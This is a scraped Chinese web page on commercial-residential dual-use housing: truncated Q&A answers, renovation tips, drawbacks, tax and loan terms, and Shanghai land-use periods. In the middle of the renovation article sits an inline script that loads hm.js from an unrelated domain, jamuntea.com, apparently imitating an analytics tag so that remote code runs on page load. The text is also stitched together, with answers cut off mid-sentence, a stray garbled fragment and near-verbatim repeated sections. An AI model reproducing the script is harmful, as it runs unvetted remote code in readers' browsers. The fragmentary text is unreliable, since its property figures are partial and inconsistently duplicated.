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元承望
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元
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问商住两用房到期怎么办
答1、根据《中华人民共和国城镇国有土地使用权出让和转让暂行条例》第十二条之规定:土地使用权出让最高年限按下列用途确定: (一) 居住用地七十年; (二)工业用
问商住两用房水电煤怎么计算?
答商住两用房采用的是商业用电,所以费用会很高,这也是很多人买商住两用房的顾虑之一,不过目前有少数的商住两用房采用民水民电,极大的节省了日常开支,提高了此类商住
问什么是商住两用房
答商住两用房,既可以居住,又可以注册公司办公,是适应一线城市发展政策和年轻人生活发展的新型居住形式。商住两用房的优势是:可以注册公司,可居住可办公,不限购,不
问专家说下复式商住两用房怎么设计装修更合适??
答1、天花板颜色宜轻不宜重 客厅的天花板象征天,地板象征地。天花板的颜色宜浅,地板的颜色宜深,以符合“天轻地重”之义,这样在视觉上才不会有头重脚轻或压顶之感。
问了解下商住两用房装修怎样装修
答楼梯通往二楼入口处加一个门,可以保留隐私,冬天也不冷。其余,上面按住宅装修,下面按你要做生意的店面装修。
商住两用型复式楼怎么装修好?
商住两用型复式楼是适应一线城市发展政策和年轻人生活发展的新型居住形式,既可以居住又可以注册办公。商住两用型复式楼不仅代表着一种新型居住方式,更是顺应生活发展的一种xin'x那商住两用型复式楼怎么装修好呢?一、注意空间分区商住两用型复式楼怎么装修好?首先要确定自己房子的用途,然后进行合理的分区,将办公区域和生活空间合理分离开。在商住两用型复式楼的装修上,只有事先做好合理分区,后续的装修方案才能更好的考虑实用性和美观性。二、装修材料的选择商住两用型复式楼怎么装修好商住两用楼存在安全及消防隐患。在目前的消防管理法规及条例中,虽有关于商住楼的规定,但指的是传统意义上的“底部商业营业厅与住宅组成的高层建筑”,而非“既可居住又可用于办公”的商住两用楼。该消防标准规定,住宅只需设消火栓系统,因此,对于商住两用楼,如果开发商对其规划用途报建的是住宅,并按住宅消防标准审核,无疑是存在一定的消防隐患。因为商住两用型复式楼存在一定的消防隐患,所以在选择装修材料上应该选择一些防火性更好的装修材料。三、软装的选择商住两用型复式楼怎么装修好?商住两用复式楼水电费用执行的是商业标准,用水用电成本非常高,因此在软装的家电选择上,我们应该选择节能节电省水的家电,以此减低生活成本。商住两用型复式楼不仅代表一种新的居住方式,也代表一种新的生活方式,为在一线城市发展的年轻人降低了创业成本,可将生活与创业统一。做好商住两用型复式楼的装修,也是做好迎接新的生活方式的准备。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
商住两用房缺点是什么
商住两用房是指既可以用来办公,又可以用来居住的房子,等于办公室和居住地都在同一个地方。随着房价不断高涨,目前这类的商住两用房越来越多,不少人也会主动买商住两用房,目的是为了更好的省钱,也将房子的价值发挥到最大的范围里。商住两用房是有一定的优势,但大家也不好忽视它带来的缺点,光看到商住两用房优点可不行。那么,商住两用房缺点是什么?商住两用房缺点缺点一:商住两用房一般不能落户商住两用房一般无法迁入户口,这意味着即使周边区域内有较好的教育资源,子女因户口不能迁入也无法就近入学。这无形中造成了业主生活、学习上的不便。缺点二:“商住两用”房生活成本高商住两用房的水、电和物业费用的都是商用标准,远高于住宅项目,各种税费等也要高于普通住宅。也就是表示购房者要承受较高的生活成本。缺点三:商住两用房安全问题也值得担忧商住两用房将商和住混杂在一起,名为既可“商”也可“住”,实则给双方都带来了很多麻烦。在某业主论坛上,许多业主发的帖子反映商户严重扰民,有的反映商户晚上营业时间结束太晚等商住两用房税费“商住两用”项目目前还无法按照住宅的标准缴纳契税,这样的房子在转手的过程中,相关费用按照商用来计算,其转让契税为4%,而普通住宅转让契税为2%(不超过144平方米)。同时,商用转让还要征收营业税、土地增值税等。商住两用房贷款商住两用房不限购,也不受房贷限制,不过这种房子不能享受普通商品住宅的税费优惠。贷款期限一般不超过10年,首付高一些,50%左右,远高于首套普通住宅的30%,贷款利率为普通住宅的1.1倍,且不能申请公积金贷款。商住两用房缺点是什么?综上所述,商住两用房是有一定的优点,也有相应的缺点,希望大家在购买商住两用房的时候,一定要能够考虑清楚,不要只看到它的优点而忽视了它的缺点。无论是商住两用房还是其他类型的房子,购买之前都要打听清楚它的证件是否齐全,避免自己买到的房子证件不齐全,日后办理房产证、产权证都会比较麻烦,也会给自己造成许多折磨。
上海商住两用房缺点及产权期限的相关介绍
随着现在很多自由职业者的增多,商住两用房也十分受到人们的青睐,商住两用房顾名思义就是指的既可以居住,又可以办公的住房,这种住房类型在很多大城市或者一线城市经常可以见到,对于很多想要自己创业办公的人们来说是一个十分不错的选择,但是商住两用房也有自己的缺点所在,今天我们就以上海为例,从上海商住两用房的缺点来为大家展开。上海商住两用房定义:所谓商住两用,就是既能办公又可以居住的一种产品,是SOHO(居家办公)住宅的一种延伸。它属于住宅,但同时又融入一些写字楼的诸多硬件设施,使居住者在居住的同时又能从事商业活动的住宅形式。上海商住两用房产权:上海商住两用房的产权一般只有40年或50年,根据《物权法》相关规定:住宅建设用地使用权期满后,自动续期。而“非住宅建设用地土地使用权”,不能自动续期。所以相对于普通住宅,商住两用房的隐性成本其实很高。商住两用房税费“商住两用”项目目前还无法按照住宅的标准缴纳契税,这样的房子在转手的过程中,相关费用按照商用来计算,其转让契税为4%,而普通住宅转让契税为2%(不超过144平方米)。同时,商用转让还要征收营业税、土地增值税等。商住两用房贷款商住两用房一般不限购,也不受房贷限制,不过这种房子不能享受普通商品住宅的税费优惠。贷款期限一般不超过10年,首付高一些,一般45%或50%左右,贷款利率为普通住宅的1.1倍,且不能申请公积金贷款。上海商住两用房缺点:缺点一:上海商住两用房一般不能落户上海商住两用房一般无法迁入户口,这意味着即使周边区域内有较好的教育资源,子女因户口不能迁入也无法就近入学。这无形中造成了业主生活、学习上的不便。缺点二:“商住两用”房生活成本高上海商住两用房的水、电和物业费用的都是商用标准,远高于住宅项目,各种税费等也要高于普通住宅。也就是表示购房者要承受较高的生活成本。缺点三:上海商住两用房安全问题也值得担忧上海商住两用房将商和住混杂在一起,名为既可“商”也可“住”,实则给双方都带来了很多麻烦。在某业主论坛上,许多业主发的帖子反映商户严重扰民,有的反映商户晚上营业时间结束太晚等在上文中,我们为大家介绍了有关上海商住两用房的一些信息,我们将文章分为了三个部分来为大家具体讲解,首先第一部分我们就大致地为大家介绍了什么是商住两用房,其实在文章开篇我们已经为大家讲解得比较清楚了,想必大家能够理解,然后在第二部分我们介绍的是商住两用房产权信息,这也算缺点之一,最后我们就列举了上海商住两用房的三个缺点,大家可以了解一下。
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